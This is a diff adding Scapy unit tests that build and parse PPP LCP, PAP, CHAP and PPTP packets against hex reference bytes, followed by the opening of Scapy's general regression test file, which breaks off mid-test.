+assert len(protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_information) == 5
+
+= Test LCP Discard Request
+~ ppp lcp lcp_discard_request
+
+discard_request = PPP() / PPP_LCP_Discard_Request(id=7, magic_number=4242, data='test')
+discard_request_ref_data = hex_bytes('c0210b07000c0000109274657374')
+
+assert raw(discard_request) == discard_request_ref_data
+
+discard_request_pkt = PPP(discard_request_ref_data)
+assert PPP_LCP_Discard_Request in discard_request_pkt
+assert discard_request_pkt[PPP_LCP_Discard_Request].id == 7
+assert discard_request_pkt[PPP_LCP_Discard_Request].magic_number == 4242
+assert discard_request_pkt[PPP_LCP_Discard_Request].data == b'test'
+
+= Test LCP Terminate-Request/Terminate-Ack
+~ ppp lcp lcp_terminate
+
+terminate_request = PPP() / PPP_LCP_Terminate(id=7, data='test')
+terminate_request_ref_data = hex_bytes('c0210507000874657374')
+
+assert raw(terminate_request) == terminate_request_ref_data
+
+terminate_request_pkt = PPP(terminate_request_ref_data)
+assert PPP_LCP_Terminate in terminate_request_pkt
+assert terminate_request_pkt[PPP_LCP_Terminate].code == 5
+assert terminate_request_pkt[PPP_LCP_Terminate].id == 7
+assert terminate_request_pkt[PPP_LCP_Terminate].data == b'test'
+
+terminate_ack = PPP() / PPP_LCP_Terminate(code='Terminate-Ack', id=7)
+terminate_ack_ref_data = hex_bytes('c02106070004')
+
+assert raw(terminate_ack) == terminate_ack_ref_data
+
+terminate_ack_pkt = PPP(terminate_ack_ref_data)
+assert PPP_LCP_Terminate in terminate_ack_pkt
+assert terminate_ack_pkt[PPP_LCP_Terminate].code == 6
+assert terminate_ack_pkt[PPP_LCP_Terminate].id == 7
+
+assert terminate_ack_pkt.answers(terminate_request_pkt)
+assert not terminate_request_pkt.answers(terminate_ack_pkt)
+
++ PPP PAP Tests
+= Test PPP PAP Request
+~ ppp pap pap_request
+pap_request = PPP() / PPP_PAP_Request(id=42, username='administrator', password='secret_password')
+pap_request_ref_data = hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')
+
+assert raw(pap_request) == pap_request_ref_data
+
+pap_request_pkt = PPP(pap_request_ref_data)
+assert PPP_PAP_Request in pap_request_pkt
+assert pap_request_pkt[PPP_PAP_Request].code == 1
+assert pap_request_pkt[PPP_PAP_Request].id == 42
+assert pap_request_pkt[PPP_PAP_Request].username == b'administrator'
+assert pap_request_pkt[PPP_PAP_Request].password == b'secret_password'
+assert pap_request_pkt[PPP_PAP_Request].summary() in ['PAP-Request username=\'administrator\' password=\'secret_password\'',
+                                                      'PAP-Request username=b\'administrator\' password=b\'secret_password\'']
+
+= Test PPP PAP Authenticate-Ack
+~ ppp pap pap_response pap_ack
+pap_response = PPP() / PPP_PAP(code='Authenticate-Ack', id=42)
+pap_response_ref_data = hex_bytes('c023022a000500')
+
+assert raw(pap_response) == pap_response_ref_data
+
+pap_response_pkt = PPP(pap_response_ref_data)
+assert PPP_PAP_Response in pap_response_pkt
+assert pap_response_pkt[PPP_PAP_Response].code == 2
+assert pap_response_pkt[PPP_PAP_Response].id == 42
+assert pap_response_pkt[PPP_PAP_Response].msg_len == 0
+assert pap_response_pkt[PPP_PAP_Response].message == b''
+assert pap_response_pkt[PPP_PAP_Response].summary() == 'PAP-Ack'
+
+pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264'))
+assert pap_response_pkt.answers(pap_request_pkt)
+assert not pap_request_pkt.answers(pap_response_pkt)
+
+= Test PPP PAP Authenticate-Nak
+~ ppp pap pap_response pap_nak
+pap_response = PPP() / PPP_PAP(code=3, id=42, message='Bad password')
+pap_response_ref_data = hex_bytes('c023032a00110c4261642070617373776f7264')
+
+assert raw(pap_response) == pap_response_ref_data
+
+pap_response_pkt = PPP(pap_response_ref_data)
+assert PPP_PAP_Response in pap_response_pkt
+assert pap_response_pkt[PPP_PAP_Response].code == 3
+assert pap_response_pkt[PPP_PAP_Response].id == 42
+assert pap_response_pkt[PPP_PAP_Response].msg_len == len('Bad password')
+assert pap_response_pkt[PPP_PAP_Response].message == b'Bad password'
+assert pap_response_pkt[PPP_PAP_Response].summary() in ['PAP-Nak msg=\'Bad password\'', 'PAP-Nak msg=b\'Bad password\'']
+
+pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264'))
+assert pap_response_pkt.answers(pap_request_pkt)
+assert not pap_request_pkt.answers(pap_response_pkt)
+
++ PPP CHAP Tests
+= Test PPP CHAP Challenge
+~ ppp chap chap_challenge
+chap_challenge = PPP() / PPP_CHAP(code=1, id=47, value=b'B' * 7,
+                                                        optional_name='server')
+chap_challenge_ref_data = hex_bytes('c223012f00120742424242424242736572766572')
+
+assert raw(chap_challenge) == chap_challenge_ref_data
+
+chap_challenge_pkt = PPP(chap_challenge_ref_data)
+assert PPP_CHAP_ChallengeResponse in chap_challenge_pkt
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].code == 1
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].id == 47
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value_size == 7
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value == b'B' * 7
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'server'
+assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP challenge=0x42424242424242 optional_name=\'server\'',
+                                                                    'CHAP challenge=0x42424242424242 optional_name=b\'server\'']
+
+= Test PPP CHAP Response
+~ ppp chap chap_response
+chap_response = PPP() / PPP_CHAP(code='Response', id=47, value=b'\x00' * 16, optional_name='client')
+chap_response_ref_data = hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')
+
+assert raw(chap_response) == chap_response_ref_data
+
+chap_response_pkt = PPP(chap_response_ref_data)
+assert PPP_CHAP_ChallengeResponse in chap_response_pkt
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].code == 2
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].id == 47
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value_size == 16
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value == b'\x00' * 16
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'client'
+assert chap_response_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP response=0x00000000000000000000000000000000 optional_name=\'client\'',
+                                                                   'CHAP response=0x00000000000000000000000000000000 optional_name=b\'client\'']
+
+chap_request = PPP(hex_bytes('c223012f00120742424242424242736572766572'))
+
+assert chap_response.answers(chap_challenge)
+assert not chap_challenge.answers(chap_response)
+
+= Test PPP CHAP Success
+~ ppp chap chap_success
+
+chap_success = PPP() / PPP_CHAP(code='Success', id=47)
+chap_success_ref_data = hex_bytes('c223032f0004')
+
+assert raw(chap_success) == chap_success_ref_data
+
+chap_success_pkt = PPP(chap_success_ref_data)
+assert PPP_CHAP in chap_success_pkt
+assert chap_success_pkt[PPP_CHAP].code == 3
+assert chap_success_pkt[PPP_CHAP].id == 47
+assert chap_success_pkt[PPP_CHAP].data == b''
+assert chap_success_pkt[PPP_CHAP].summary() in ['CHAP Success message=\'\'', 'CHAP Success message=b\'\'']
+
+chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74'))
+
+assert chap_success_pkt.answers(chap_response_pkt)
+assert not chap_response_pkt.answers(chap_success_pkt)
+
+= Test PPP CHAP Failure
+~ ppp chap chap_failure
+chap_failure = PPP() / PPP_CHAP(code='Failure', id=47, data='Go away')
+chap_failure_ref_data = hex_bytes('c223042f000b476f2061776179')
+
+assert raw(chap_failure) == chap_failure_ref_data
+
+chap_failure_pkt = PPP(chap_failure_ref_data)
+assert PPP_CHAP in chap_failure_pkt
+assert chap_failure_pkt[PPP_CHAP].code == 4
+assert chap_failure_pkt[PPP_CHAP].id == 47
+assert chap_failure_pkt[PPP_CHAP].data == b'Go away'
+assert chap_failure_pkt[PPP_CHAP].summary() in ['CHAP Failure message=\'Go away\'', 'CHAP Failure message=b\'Go away\'']
+
+chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74'))
+
+assert chap_failure_pkt.answers(chap_response_pkt)
+assert not chap_failure_pkt.answers(chap_success_pkt)
+
++ PPTP Tests
+= Test PPTP Start-Control-Connection-Request
+~ pptp
+start_control_connection = PPTPStartControlConnectionRequest(framing_capabilities='Asynchronous Framing supported',
+                                                             bearer_capabilities='Digital access supported',
+                                                             maximum_channels=42,
+                                                             firmware_revision=47,
+                                                             host_name='test host name',
+                                                             vendor_string='test vendor string')
+start_control_connection_ref_data = hex_bytes('009c00011a2b3c4d00010000000100000000000100000002002a00'\
+                                    '2f7465737420686f7374206e616d65000000000000000000000000'\
+                                    '000000000000000000000000000000000000000000000000000000'\
+                                    '0000000000000000000000746573742076656e646f722073747269'\
+                                    '6e6700000000000000000000000000000000000000000000000000'\
+                                    '000000000000000000000000000000000000000000')
+
+assert raw(start_control_connection) == start_control_connection_ref_data
+
+start_control_connection_pkt = PPTP(start_control_connection_ref_data)
+
+assert isinstance(start_control_connection_pkt, PPTPStartControlConnectionRequest)
+assert start_control_connection_pkt.magic_cookie == 0x1a2b3c4d
+assert start_control_connection_pkt.protocol_version == 1
+assert start_control_connection_pkt.framing_capabilities == 1
+assert start_control_connection_pkt.bearer_capabilities == 2
+assert start_control_connection_pkt.maximum_channels == 42
+assert start_control_connection_pkt.firmware_revision == 47
+assert start_control_connection_pkt.host_name == b'test host name' + b'\0' * (64-len('test host name'))
+assert start_control_connection_pkt.vendor_string == b'test vendor string' + b'\0' * (64-len('test vendor string'))
+
+= Test PPTP Start-Control-Connection-Reply
+~ pptp
+start_control_connection_reply = PPTPStartControlConnectionReply(result_code='General error',
+                                                                 error_code='Not-Connected',
+                                                                 framing_capabilities='Synchronous Framing supported',
+                                                                 bearer_capabilities='Analog access supported',
+                                                                 vendor_string='vendor')
+start_control_connection_reply_ref_data = hex_bytes('009c00011a2b3c4d00020000000102010000000200000001ffff0'\
+                                          '1006c696e75780000000000000000000000000000000000000000'\
+                                          '00000000000000000000000000000000000000000000000000000'\
+                                          '000000000000000000000000076656e646f720000000000000000'\
+                                          '00000000000000000000000000000000000000000000000000000'\
+                                          '00000000000000000000000000000000000000000000000')
+
+assert raw(start_control_connection_reply) == start_control_connection_reply_ref_data
+
+start_control_connection_reply_pkt = PPTP(start_control_connection_reply_ref_data)
+
+assert isinstance(start_control_connection_reply_pkt, PPTPStartControlConnectionReply)
+assert start_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d
+assert start_control_connection_reply_pkt.protocol_version == 1
+assert start_control_connection_reply_pkt.result_code == 2
+assert start_control_connection_reply_pkt.error_code == 1
+assert start_control_connection_reply_pkt.framing_capabilities == 2
+assert start_control_connection_reply_pkt.bearer_capabilities == 1
+assert start_control_connection_reply_pkt.host_name == b'linux' + b'\0' * (64-len('linux'))
+assert start_control_connection_reply_pkt.vendor_string == b'vendor' + b'\0' * (64-len('vendor'))
+
+start_control_connection_request = PPTPStartControlConnectionRequest()
+
+assert start_control_connection_reply_pkt.answers(start_control_connection_request)
+assert not start_control_connection_request.answers(start_control_connection_reply_pkt)
+
+= Test PPTP Stop-Control-Connection-Request
+~ pptp
+stop_control_connection = PPTPStopControlConnectionRequest(reason='Stop-Local-Shutdown')
+stop_control_connection_ref_data = hex_bytes('001000011a2b3c4d0003000003000000')
+
+assert raw(stop_control_connection) == stop_control_connection_ref_data
+
+stop_control_connection_pkt = PPTP(stop_control_connection_ref_data)
+
+assert isinstance(stop_control_connection_pkt, PPTPStopControlConnectionRequest)
+assert stop_control_connection_pkt.magic_cookie == 0x1a2b3c4d
+assert stop_control_connection_pkt.reason == 3
+
+= Test PPTP Stop-Control-Connection-Reply
+~ pptp
+stop_control_connection_reply = PPTPStopControlConnectionReply(result_code='General error',error_code='PAC-Error')
+stop_control_connection_reply_ref_data = hex_bytes('001000011a2b3c4d0004000002060000')
+
+assert raw(stop_control_connection_reply) == stop_control_connection_reply_ref_data
+
+stop_control_connection_reply_pkt = PPTP(stop_control_connection_reply_ref_data)
+
+assert isinstance(stop_control_connection_reply_pkt, PPTPStopControlConnectionReply)
+assert stop_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d
+assert stop_control_connection_reply_pkt.result_code == 2
+assert stop_control_connection_reply_pkt.error_code == 6
+
+stop_control_connection_request = PPTPStopControlConnectionRequest()
+
+assert stop_control_connection_reply_pkt.answers(stop_control_connection_request)
+assert not stop_control_connection_request.answers(stop_control_connection_reply_pkt)
+
+= Test PPTP Echo-Request
+~ pptp
+echo_request = PPTPEchoRequest(identifier=42)
+echo_request_ref_data = hex_bytes('001000011a2b3c4d000500000000002a')
+
+assert raw(echo_request) == echo_request_ref_data
+
+echo_request_pkt = PPTP(echo_request_ref_data)
+
+assert isinstance(echo_request_pkt, PPTPEchoRequest)
+assert echo_request_pkt.magic_cookie == 0x1a2b3c4d
+assert echo_request_pkt.identifier == 42
+
+= Test PPTP Echo-Reply
+~ pptp
+echo_reply = PPTPEchoReply(identifier=42, result_code='OK')
+echo_reply_ref_data = hex_bytes('001400011a2b3c4d000600000000002a01000000')
+
+assert raw(echo_reply) == echo_reply_ref_data
+
+echo_reply_pkt = PPTP(echo_reply_ref_data)
+
+assert isinstance(echo_reply_pkt, PPTPEchoReply)
+assert echo_reply_pkt.magic_cookie == 0x1a2b3c4d
+assert echo_reply_pkt.identifier == 42
+assert echo_reply_pkt.result_code == 1
+assert echo_reply_pkt.error_code == 0
+
+echo_request = PPTPEchoRequest(identifier=42)
+
+assert echo_reply_pkt.answers(echo_request)
+assert not echo_request.answers(echo_reply)
+
+echo_request_incorrect = PPTPEchoRequest(identifier=47)
+
+assert not echo_reply_pkt.answers(echo_request_incorrect)
+assert not echo_request_incorrect.answers(echo_reply_pkt)
+
+= Test PPTP Outgoing-Call-Request
+~ pptp
+outgoing_call = PPTPOutgoingCallRequest(call_id=4242, call_serial_number=47,
+                                        minimum_bps=1000, maximum_bps=10000,
+                                        bearer_type='Digital channel',
+                                        pkt_window_size=16, pkt_proc_delay=1,
+                                        phone_number_len=9, phone_number='123456789',
+                                        subaddress='test')
+outgoing_call_ref_data = hex_bytes('00a800011a2b3c4d000700001092002f000003e8000027100000000200'\
+                         '0000030010000100090000313233343536373839000000000000000000'\
+                         '0000000000000000000000000000000000000000000000000000000000'\
+                         '0000000000000000000000000000000000746573740000000000000000'\
+                         '0000000000000000000000000000000000000000000000000000000000'\
+                         '0000000000000000000000000000000000000000000000')
+
+assert raw(outgoing_call) == outgoing_call_ref_data
+
+outgoing_call_pkt = PPTP(outgoing_call_ref_data)
+
+assert isinstance(outgoing_call_pkt, PPTPOutgoingCallRequest)
+assert outgoing_call_pkt.magic_cookie == 0x1a2b3c4d
+assert outgoing_call_pkt.call_id == 4242
+assert outgoing_call_pkt.call_serial_number == 47
+assert outgoing_call_pkt.minimum_bps == 1000
+assert outgoing_call_pkt.maximum_bps == 10000
+assert outgoing_call_pkt.bearer_type == 2
+assert outgoing_call_pkt.framing_type == 3
+assert outgoing_call_pkt.pkt_window_size == 16
+assert outgoing_call_pkt.pkt_proc_delay == 1
+assert outgoing_call_pkt.phone_number_len == 9
+assert outgoing_call_pkt.phone_number == b'123456789' + b'\0' * (64-len('123456789'))
+assert outgoing_call_pkt.subaddress == b'test' + b'\0' * (64-len('test'))
+
+= Test PPTP Outgoing-Call-Reply
+~ pptp
+outgoing_call_reply = PPTPOutgoingCallReply(call_id=4243, peer_call_id=4242,
+                                            result_code='Busy', error_code='No-Resource',
+                                            cause_code=42, connect_speed=5000,
+                                            pkt_window_size=32, pkt_proc_delay=3,
+                                            channel_id=42)
+outgoing_call_reply_ref_data = hex_bytes('002000011a2b3c4d00080000109310920404002a00001388002000030000002a')
+
+assert raw(outgoing_call_reply) == outgoing_call_reply_ref_data
+
+outgoing_call_reply_pkt = PPTP(outgoing_call_reply_ref_data)
+
+assert isinstance(outgoing_call_reply_pkt, PPTPOutgoingCallReply)
+assert outgoing_call_reply_pkt.magic_cookie == 0x1a2b3c4d
+assert outgoing_call_reply_pkt.call_id == 4243
+assert outgoing_call_reply_pkt.peer_call_id == 4242
+assert outgoing_call_reply_pkt.result_code == 4
+assert outgoing_call_reply_pkt.error_code == 4
+assert outgoing_call_reply_pkt.cause_code == 42
+assert outgoing_call_reply_pkt.connect_speed == 5000
+assert outgoing_call_reply_pkt.pkt_window_size == 32
+assert outgoing_call_reply_pkt.pkt_proc_delay == 3
+assert outgoing_call_reply_pkt.channel_id == 42
+
+outgoing_call_request = PPTPOutgoingCallRequest(call_id=4242)
+
+assert outgoing_call_reply_pkt.answers(outgoing_call_request)
+assert not outgoing_call_request.answers(outgoing_call_reply_pkt)
+
+outgoing_call_request_incorrect = PPTPOutgoingCallRequest(call_id=5656)
+
+assert not outgoing_call_reply_pkt.answers(outgoing_call_request_incorrect)
+assert not outgoing_call_request_incorrect.answers(outgoing_call_reply_pkt)
+
+= Test PPTP Incoming-Call-Request
+~ pptp
+incoming_call = PPTPIncomingCallRequest(call_id=4242, call_serial_number=47, bearer_type='Digital channel',
+                                        channel_id=12, dialed_number_len=9, dialing_number_len=10,
+                                        dialed_number='123456789', dialing_number='0123456789',
+                                        subaddress='test')
+incoming_call_ref_data = hex_bytes('00dc00011a2b3c4d000900001092002f000000020000000c0009000a313233343536373839'\
+                         '00000000000000000000000000000000000000000000000000000000000000000000000000'\
+                         '00000000000000000000000000000000000030313233343536373839000000000000000000'\
+                         '00000000000000000000000000000000000000000000000000000000000000000000000000'\
+                         '00000000000000007465737400000000000000000000000000000000000000000000000000'\
+                         '0000000000000000000000000000000000000000000000000000000000000000000000')
+
+assert raw(incoming_call) == incoming_call_ref_data
+
+incoming_call_pkt = PPTP(incoming_call_ref_data)
+
+assert isinstance(incoming_call_pkt, PPTPIncomingCallRequest)
+assert incoming_call_pkt.magic_cookie == 0x1a2b3c4d
+assert incoming_call_pkt.call_id == 4242
+assert incoming_call_pkt.call_serial_number == 47
+assert incoming_call_pkt.bearer_type == 2
+assert incoming_call_pkt.channel_id == 12
+assert incoming_call_pkt.dialed_number_len == 9
+assert incoming_call_pkt.dialing_number_len == 10
+assert incoming_call_pkt.dialed_number == b'123456789' + b'\0' * (64-len('123456789'))
+assert incoming_call_pkt.dialing_number == b'0123456789' + b'\0' * (64-len('0123456879'))
+assert incoming_call_pkt.subaddress == b'test' + b'\0' * (64-len('test'))
+
+= Test PPTP Incoming-Call-Reply
+~ pptp
+incoming_call_reply = PPTPIncomingCallReply(call_id=4243, peer_call_id=4242, result_code='Connected',
+                                            error_code='None', pkt_window_size=16, pkt_transmit_delay=42)
+incoming_call_reply_ref_data = hex_bytes('009400011a2b3c4d000a00001093109201000010002a0000')
+
+assert raw(incoming_call_reply) == incoming_call_reply_ref_data
+
+incoming_call_reply_pkt = PPTP(incoming_call_reply_ref_data)
+assert isinstance(incoming_call_reply_pkt, PPTPIncomingCallReply)
+assert incoming_call_reply_pkt.magic_cookie == 0x1a2b3c4d
+assert incoming_call_reply_pkt.call_id == 4243
+assert incoming_call_reply_pkt.peer_call_id == 4242
+assert incoming_call_reply_pkt.result_code == 1
+assert incoming_call_reply_pkt.error_code == 0
+assert incoming_call_reply_pkt.pkt_window_size == 16
+assert incoming_call_reply_pkt.pkt_transmit_delay == 42
+
+incoming_call_req = PPTPIncomingCallRequest(call_id=4242)
+
+assert incoming_call_reply_pkt.answers(incoming_call_req)
+assert not incoming_call_req.answers(incoming_call_reply)
+
+incoming_call_req_incorrect = PPTPIncomingCallRequest(call_id=4343)
+assert not incoming_call_reply_pkt.answers(incoming_call_req_incorrect)
+assert not incoming_call_req_incorrect.answers(incoming_call_reply_pkt)
+
+= Test PPTP Incoming-Call-Connected
+~ pptp
+incoming_call_connected = PPTPIncomingCallConnected(peer_call_id=4242, connect_speed=47474747,
+                                                    pkt_window_size=16, pkt_transmit_delay=7,
+                                                    framing_type='Any type of framing')
+incoming_call_connected_ref_data = hex_bytes('001c00011a2b3c4d000b00001092000002d4683b0010000700000003')
+
+assert raw(incoming_call_connected) == incoming_call_connected_ref_data
+
+incoming_call_connected_pkt = PPTP(incoming_call_connected_ref_data)
+assert isinstance(incoming_call_connected_pkt, PPTPIncomingCallConnected)
+assert incoming_call_connected_pkt.magic_cookie == 0x1a2b3c4d
+assert incoming_call_connected_pkt.peer_call_id == 4242
+assert incoming_call_connected_pkt.connect_speed == 47474747
+assert incoming_call_connected_pkt.pkt_window_size == 16
+assert incoming_call_connected_pkt.pkt_transmit_delay == 7
+assert incoming_call_connected_pkt.framing_type == 3
+
+incoming_call_reply = PPTPIncomingCallReply(call_id=4242)
+
+assert incoming_call_connected_pkt.answers(incoming_call_reply)
+assert not incoming_call_reply.answers(incoming_call_connected_pkt)
+
+incoming_call_reply_incorrect = PPTPIncomingCallReply(call_id=4243)
+
+assert not incoming_call_connected_pkt.answers(incoming_call_reply_incorrect)
+assert not incoming_call_reply_incorrect.answers(incoming_call_connected_pkt)
+
+= Test PPTP Call-Clear-Request
+~ pptp
+call_clear_request = PPTPCallClearRequest(call_id=4242)
+call_clear_request_ref_data = hex_bytes('001000011a2b3c4d000c000010920000')
+
+assert raw(call_clear_request) == call_clear_request_ref_data
+
+call_clear_request_pkt = PPTP(call_clear_request_ref_data)
+
+assert isinstance(call_clear_request_pkt, PPTPCallClearRequest)
+assert call_clear_request_pkt.magic_cookie == 0x1a2b3c4d
+assert call_clear_request_pkt.call_id == 4242
+
+= Test PPTP Call-Disconnect-Notify
+~ pptp
+call_disconnect_notify = PPTPCallDisconnectNotify(call_id=4242, result_code='Admin Shutdown', error_code='None',
+                                                  cause_code=47, call_statistic='some description')
+call_disconnect_notify_ref_data = hex_bytes('009400011a2b3c4d000d000010920300002f0000736f6d65206465736372697074696'\
+                                  'f6e000000000000000000000000000000000000000000000000000000000000000000'\
+                                  '000000000000000000000000000000000000000000000000000000000000000000000'\
+                                  '000000000000000000000000000000000000000000000000000000000000000000000'\
+                                  '00000000000000000000')
+
+assert raw(call_disconnect_notify) == call_disconnect_notify_ref_data
+
+call_disconnect_notify_pkt = PPTP(call_disconnect_notify_ref_data)
+
+assert isinstance(call_disconnect_notify_pkt, PPTPCallDisconnectNotify)
+assert call_disconnect_notify_pkt.magic_cookie == 0x1a2b3c4d
+assert call_disconnect_notify_pkt.call_id == 4242
+assert call_disconnect_notify_pkt.result_code == 3
+assert call_disconnect_notify_pkt.error_code == 0
+assert call_disconnect_notify_pkt.cause_code == 47
+assert call_disconnect_notify_pkt.call_statistic == b'some description' + b'\0' * (128-len('some description'))
+
+= Test PPTP WAN-Error-Notify
+~ pptp
+wan_error_notify = PPTPWANErrorNotify(peer_call_id=4242, crc_errors=1, framing_errors=2,
+                                      hardware_overruns=3, buffer_overruns=4, time_out_errors=5,
+                                      alignment_errors=6)
+wan_error_notify_ref_data = hex_bytes('002800011a2b3c4d000e000010920000000000010000000200000003000000040000000500000006')
+
+assert raw(wan_error_notify) == wan_error_notify_ref_data
+
+wan_error_notify_pkt = PPTP(wan_error_notify_ref_data)
+
+assert isinstance(wan_error_notify_pkt, PPTPWANErrorNotify)
+assert wan_error_notify_pkt.magic_cookie == 0x1a2b3c4d
+assert wan_error_notify_pkt.peer_call_id == 4242
+assert wan_error_notify_pkt.crc_errors == 1
+assert wan_error_notify_pkt.framing_errors == 2
+assert wan_error_notify_pkt.hardware_overruns == 3
+assert wan_error_notify_pkt.buffer_overruns == 4
+
+= Test PPTP Set-Link-Info
+~ pptp
+set_link_info = PPTPSetLinkInfo(peer_call_id=4242, send_accm=0x0f0f0f0f, receive_accm=0xf0f0f0f0)
+set_link_info_ref_data = hex_bytes('001800011a2b3c4d000f0000109200000f0f0f0ff0f0f0f0')
+
+assert raw(set_link_info) == set_link_info_ref_data
+
+set_link_info_pkt = PPTP(set_link_info_ref_data)
+
+assert isinstance(set_link_info_pkt, PPTPSetLinkInfo)
+assert set_link_info_pkt.magic_cookie == 0x1a2b3c4d
+assert set_link_info_pkt.peer_call_id == 4242
+assert set_link_info_pkt.send_accm == 0x0f0f0f0f
+assert set_link_info_pkt.receive_accm == 0xf0f0f0f0
diff --git a/test/regression.uts b/test/regression.uts
new file mode 100644
index 0000000..3569724
--- /dev/null
+++ b/test/regression.uts
@@ -0,0 +1,9565 @@
+% Regression tests for Scapy
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+############
+############
++ Informations on Scapy
+
+= Get conf
+~ conf command
+* Dump the current configuration
+conf
+
+IP().src
+scapy.consts.LOOPBACK_INTERFACE
+
+= List layers
+~ conf command
+ls()
+
+= List commands
+~ conf command
+lsc()
+
+= List contribs
+def test_list_contrib():
+    with ContextManagerCaptureOutput() as cmco:
+        list_contrib()
+        result_list_contrib = cmco.get_output()
+    assert("http2               : HTTP/2 (RFC 7540, RFC 7541)              status=loads" in result_list_contrib)
+    assert(len(result_list_contrib.split('\n')) > 40)
+
+test_list_contrib()
+
+= Configuration
+~ conf
+conf.debug_dissector = True
+
+
+###########
+###########
+= UTscapy route check
+* Check that UTscapy has correctly replaced the routes. Many tests won't work otherwise
+
+if WINDOWS:
+    route_add_loopback()
+
+IP().src
+assert _ == "127.0.0.1"
+
+############
+############
++ Scapy functions tests
+
+= Interface related functions
+
+get_if_raw_hwaddr(conf.iface)
+
+bytes_hex(get_if_raw_addr(conf.iface))
+
+def get_dummy_interface():
+    """Returns a dummy network interface"""
+    if WINDOWS:
+        data = {}
+        data["name"] = "dummy0"
+        data["description"] = "Does not exist"
+        data["win_index"] = -1
+        data["guid"] = "{1XX00000-X000-0X0X-X00X-00XXXX000XXX}"
+        data["invalid"] = True
+        dummy_int = NetworkInterface(data)
+        dummy_int.pcap_name = "\\Device\\NPF_" + data["guid"]
+        conf.cache_ipaddrs[dummy_int.pcap_name] = b'\x7f\x00\x00\x01'
+        return dummy_int
+    else:
+        return "dummy0"
+
+get_if_raw_addr(get_dummy_interface())
+
+get_if_list()
+
+get_if_raw_addr6(conf.iface6)
+
+= Test read_routes6() - default output
+
+routes6 = read_routes6()
+if WINDOWS:
+    route_add_loopback(routes6, True)
+
+routes6
+
+# Expected results:
+# - one route if there is only the loopback interface
+# - three routes if there is a network interface
+
+if routes6:
+    iflist = get_if_list()
+    if WINDOWS:
+        route_add_loopback(ipv6=True, iflist=iflist)
+    if iflist == [LOOPBACK_NAME]:
+        len(routes6) == 1
+    elif len(iflist) >= 2:
+        len(routes6) >= 3
+    else:
+        False
+else:
+    # IPv6 seems disabled. Force a route to ::1
+    conf.route6.routes.append(("::1", 128, "::", LOOPBACK_NAME, ["::1"], 1))
+    True
+
+= Test read_routes6() - check mandatory routes
+
+if len(routes6):
+    assert(len([r for r in routes6 if r[0] == "::1" and r[4] == ["::1"]]) >= 1)
+    if len(iflist) >= 2:
+        assert(len([r for r in routes6 if r[0] == "fe80::" and r[1] == 64]) >= 1)
+        len([r for r in routes6 if in6_islladdr(r[0]) and r[1] == 128 and r[4] == ["::1"]]) >= 1
+else:
+    True
+
+= Test ifchange()
+conf.route6.ifchange(LOOPBACK_NAME, "::1/128")
+True
+
+
+############
+############
++ Main.py tests
+
+= Pickle and unpickle a packet
+
+import scapy.modules.six as six
+
+a = IP(dst="192.168.0.1")/UDP()
+
+b = six.moves.cPickle.dumps(a)
+c = six.moves.cPickle.loads(b)
+
+assert c[IP].dst == "192.168.0.1"
+assert raw(c) == raw(a)
+
+= Usage test
+
+from scapy.main import _usage
+try:
+    _usage()
+    assert False
+except SystemExit:
+    assert True
+
+= Session test
+
+# This is automatic when using the console
+def get_var(var):
+    return six.moves.builtins.__dict__["scapy_session"][var]
+
+def set_var(var, value):
+    six.moves.builtins.__dict__["scapy_session"][var] = value
+
+def del_var(var):
+    del(six.moves.builtins.__dict__["scapy_session"][var])
+
+init_session(None, {"init_value": 123})
+set_var("test_value", "8.8.8.8") # test_value = "8.8.8.8"
+save_session()
+del_var("test_value")
+load_session()
+update_session()
+assert get_var("test_value") == "8.8.8.8" #test_value == "8.8.8.8"
+assert get_var("init_value") == 123
+ 
+= Session test with fname
+
+init_session("scapySession2")
+set_var("test_value", IP(dst="192.168.0.1")) # test_value = IP(dst="192.168.0.1")
+save_session(fname="scapySession1.dat")
+del_var("test_value")
+
+set_var("z", True) #z = True
+load_session(fname="scapySession1.dat")
+try:
+    get_var("z")
+    assert False
+except:
+    pass
+
+set_var("z", False) #z = False
+update_session(fname="scapySession1.dat")
+assert get_var("test_value").dst == "192.168.0.1" #test_value.dst == "192.168.0.1"
+assert not get_var("z")
+
+= Clear session files
+
+os.remove("scapySession1.dat")
+
+= Test temporary file creation
+~ appveyor_only
+
+scapy_delete_temp_files()
+
+tmpfile = get_temp_file(autoext=".ut")
+tmpfile
+if WINDOWS:
+    assert("scapy" in tmpfile and tmpfile.lower().startswith('c:\\users\\appveyor\\appdata\\local\\temp'))
+else:
+    import platform
+    BYPASS_TMP = platform.python_implementation().lower() == "pypy" or DARWIN
+    assert("scapy" in tmpfile and (BYPASS_TMP == True or "/tmp/" in tmpfile))
+
+assert(conf.temp_files[0].endswith(".ut"))
+scapy_delete_temp_files()
+assert(len(conf.temp_files) == 0)
+
+= Emulate interact()
+
+import mock, sys
+from scapy.main import interact
+# Detect IPython
+try:
+    import IPython
+except:
+    code_interact_import = "scapy.main.code.interact"
+else:
+    code_interact_import = "IPython.terminal.embed.InteractiveShellEmbed"
+
+@mock.patch(code_interact_import)
+def interact_emulator(code_int, extra_args=[]):
+    try:
+        code_int.side_effect = lambda *args, **kwargs: lambda *args, **kwargs: None
+        interact(argv=["-s scapy1"] + extra_args, mybanner="What a test")
+        return True
